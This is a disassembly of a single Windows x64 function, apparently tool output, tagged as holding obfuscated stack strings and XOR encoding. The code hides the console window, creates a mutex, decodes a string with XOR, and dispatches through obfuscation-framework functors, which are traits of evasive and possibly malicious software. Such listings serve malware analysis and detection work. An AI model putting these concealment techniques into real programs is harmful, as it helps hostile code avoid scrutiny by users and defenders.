Function at 0x140006150
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdx
push rdi
sub rsp, 0x1a0
mov rax, qword [0x1400cd080]
xor rax, rsp
mov qword [rsp + 0x190], rax
mov dword [rsp + 0x11c], 3
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x180], xmm1
lea rax, [0x140002da0]
add rax, 0x240
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x58], 0x240
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x50]
call fcn.140007e90
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
add rax, 0x26b
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x68], 0x26b
mov eax, dword [rsp + 0x12c]
mov dword [rsp + 0x6c], eax
xorps xmm0, xmm0
movups xmmword [rsp + 0xb0], xmm0
xor edi, edi
mov qword [rsp + 0xc8], rdi
mov qword [rsp + 0xd0], rdi
mov qword [rsp + 0xd8], rdi
mov qword [rsp + 0xe0], rdi
mov qword [rsp + 0xe8], rdi
lea ecx, [rdi + 0x10]
call fcn.1400ac890
mov qword [rax + 8], rdi
mov qword [rsp + 0xc8], rax
lea rcx, [rsp + 0xc8]
mov qword [rax], rcx
mov word [rsp + 0xf8], di
mov qword [rsp + 0xfe], rdi
mov qword [rsp + 0x106], rdi
xor eax, eax
mov word [rsp + 0xfb], ax
mov byte [rsp + 0xfd], al
mov word [rsp + 0xfe], ax
mov byte [rsp + 0x100], al
mov word [rsp + 0x101], ax
mov byte [rsp + 0x103], al
mov word [rsp + 0x104], ax
mov byte [rsp + 0x106], al
mov word [rsp + 0x107], ax
mov byte [rsp + 0x109], al
mov word [rsp + 0x10a], ax
mov byte [rsp + 0x10c], al
mov byte [rsp + 0x118], al
mov dword [rsp + 0xc4], edi
mov dword [rsp + 0xf4], edi
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x120], xmm0
lea rdx, [rsp + 0x120]
lea rcx, [rsp + 0xb0]
call fcn.1400099b0
mov rbx, qword [rsp + 0xb8]
lea rcx, [rsp + 0xc8]
call fcn.14000bc40
mov qword [rsp + 0x110], rbx
mov dword [rsp + 0xa0], edi
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
add rax, 0x11d
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x68], 0x11d
mov eax, dword [rsp + 0x12c]
mov dword [rsp + 0x6c], eax
xor eax, eax
mov word [rsp + 0x130], ax
mov byte [rsp + 0x132], al
mov qword [rsp + 0x138], rdi
mov qword [rsp + 0x140], rdi
mov qword [rsp + 0x148], rdi
mov qword [rsp + 0x150], rdi
mov qword [rsp + 0x158], rdi
lea ecx, [rdi + 0x10]
call fcn.1400ac890
mov qword [rax + 8], rdi
mov qword [rsp + 0x138], rax
lea rcx, [rsp + 0x138]
mov qword [rax], rcx
mov word [rsp + 0x168], di
mov qword [rsp + 0x16e], rdi
mov qword [rsp + 0x176], rdi
xor eax, eax
mov word [rsp + 0x16b], ax
mov byte [rsp + 0x16d], al
mov word [rsp + 0x16e], ax
mov byte [rsp + 0x170], al
mov word [rsp + 0x171], ax
mov byte [rsp + 0x173], al
mov word [rsp + 0x174], ax
mov byte [rsp + 0x176], al
mov word [rsp + 0x177], ax
mov byte [rsp + 0x179], al
mov word [rsp + 0x17a], ax
mov byte [rsp + 0x17c], al
mov byte [rsp + 0x119], al
mov dword [rsp + 0x134], edi
mov dword [rsp + 0x164], edi
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x90], xmm0
lea r9, [rsp + 0xa0]
lea r8, [rsp + 0x110]
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x130]
call fcn.1400097f0
nop
lea rcx, [rsp + 0x138]
call fcn.14000bc40
mov dword [rsp + 0x30], recv
mov byte [rsp + 0x34], 0x6a
mov byte [rsp + 0x35], 0x7e
mov byte [rsp + 0x36], 0x7f
mov byte [rsp + 0x37], 0x63
mov byte [rsp + 0x38], WSAGetLastError
mov byte [rsp + 0x39], 0x65
mov byte [rsp + 0x3a], 0x7f
mov byte [rsp + 0x3b], 0x62
mov byte [rsp + 0x3c], 0x68
mov byte [rsp + 0x3d], 0x6a
mov byte [rsp + 0x3e], 0x7f
mov byte [rsp + 0x3f], 0x64
mov byte [rsp + 0x40], 0x79
xor eax, eax
mov byte [rsp + 0x41], al
movzx eax, byte [rsp + 0x34]
mov edx, edi
movzx eax, byte [rsp + rdx + 0x34]
mov ecx, dword [rsp + 0x30]
xor cl, al
mov byte [rsp + rdx + 0x34], cl
inc rdx
cmp rdx, 0xd
jb 0x1400064a0
mov byte [rsp + 0x41], 0
lea rax, [rsp + 0x34]
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x80], 1
mov qword [rsp + 0x90], rdi
mov rax, qword [sym.imp.KERNEL32.dll_CreateMutexA]
add rax, 0x12a
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x58], Ordinal_301
mov eax, dword [rsp + 0x12c]
mov dword [rsp + 0x5c], eax
xor eax, eax
mov word [rsp + 0xb0], ax
mov byte [rsp + 0xb2], al
mov qword [rsp + 0xb8], rdi
mov qword [rsp + 0xc0], rdi
mov qword [rsp + 0xc8], rdi
mov qword [rsp + 0xd0], rdi
mov qword [rsp + 0xd8], rdi
lea ecx, [rax + 0x10]
call fcn.1400ac890
mov qword [rax + 8], rdi
mov qword [rsp + 0xb8], rax
lea rcx, [rsp + 0xb8]
mov qword [rax], rcx
mov word [rsp + 0xe8], 0
mov qword [rsp + 0xee], rdi
mov qword [rsp + 0xf6], rdi
xor eax, eax
mov word [rsp + 0xeb], ax
mov byte [rsp + 0xed], al
mov word [rsp + 0xee], ax
mov byte [rsp + 0xf0], al
mov word [rsp + 0xf1], ax
mov byte [rsp + 0xf3], al
mov word [rsp + 0xf4], ax
mov byte [rsp + 0xf6], al
mov word [rsp + 0xf7], ax
mov byte [rsp + 0xf9], al
mov word [rsp + 0xfa], ax
mov byte [rsp + 0xfc], al
mov dword [rsp + 0xb4], edi
mov dword [rsp + 0xe4], edi
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x120], xmm0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x80]
lea r8, [rsp + 0x90]
lea rdx, [rsp + 0x120]
lea rcx, [rsp + 0xb0]
call fcn.140009620
nop
lea rcx, [rsp + 0xb8]
call fcn.14000bc40
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x120], xmm1
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], rdi
mov qword [rsp + 0x70], rdi
mov ecx, reloc.WS2_32.dll_recv
call fcn.1400ac890
mov rdi, rax
lea rax, vtable.obf::bool_functor_class__int___cdecl_main_int__char____ptr64__const___ptr64_::_4::_lambda_1__.0
mov qword [rdi], rax
mov qword [rsp + 0x60], rdi
lea rax, [rsp + 0x1b8]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x11c]
mov qword [rsp + 0x58], rax
mov ecx, Ordinal_26
call fcn.1400ac890
mov rbx, rax
lea rax, vtable.obf::next_step_functor_class__int___cdecl_main_int__char____ptr64__const___ptr64_::_4::_lambda_2__.0
mov qword [rbx], rax
movaps xmm0, xmmword [rsp + 0x50]
movups xmmword [rbx + 8], xmm0
mov qword [rsp + 0x68], rbx
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + reloc.WS2_32.dll_htonl]
test al, al
je 0x1400066b8
test rbx, rbx
je 0x1400066b8
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rax, qword [rbx]
mov edx, 1
mov rcx, rbx
call qword [rax]
mov rax, qword [rdi]
mov edx, 1
mov rcx, rdi
call qword [rax]
nop
xor eax, eax
mov rcx, qword [rsp + 0x190]
xor rcx, rsp
call fcn.1400ac870
mov rbx, qword [rsp + 0x1b0]
add rsp, 0x1a0
pop rdi
ret